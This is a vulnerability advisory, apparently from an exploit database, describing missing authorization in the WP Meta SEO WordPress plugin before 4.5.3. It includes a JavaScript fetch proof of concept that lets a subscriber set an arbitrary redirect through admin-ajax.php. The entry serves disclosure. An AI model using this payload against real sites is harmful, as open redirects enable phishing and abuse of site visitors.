Lucene search

K
wpexploitDc11WPEX-ID:1A8C97F9-98FA-4E29-B7F7-BB9ABE0C42EA
HistoryFeb 27, 2023 - 12:00 a.m.

WP Meta SEO < 4.5.3 - Subscriber+ Improper Authorization causing Arbitrary Redirect

2023-02-2700:00:00
dc11
58
wordpress
security
authorization
redirect

EPSS

0.001

Percentile

39.7%

The plugin does not authorize several ajax actions, allowing low-privilege users to make updates to certain data and leading to an arbitrary redirect vulnerability.

Visit, for example, the page <yourhost>?p=99999. This should create the first auto redirect entry in the wp_wpms_links table with ID 1. Now log in as a subscriber and enter the following js code in your web console on the dashboard:

fetch( 'admin-ajax.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body:'action=wpms&wpms_nonce=' + wpms_localize.wpms_nonce + "&task=update_link_redirect&link_id=1&link_redirect=https://google.com" } );

Now load <yourhost>?p=99999 again and notice that it redirects to `https://google.com`.

EPSS

0.001

Percentile

39.7%

Related for WPEX-ID:1A8C97F9-98FA-4E29-B7F7-BB9ABE0C42EA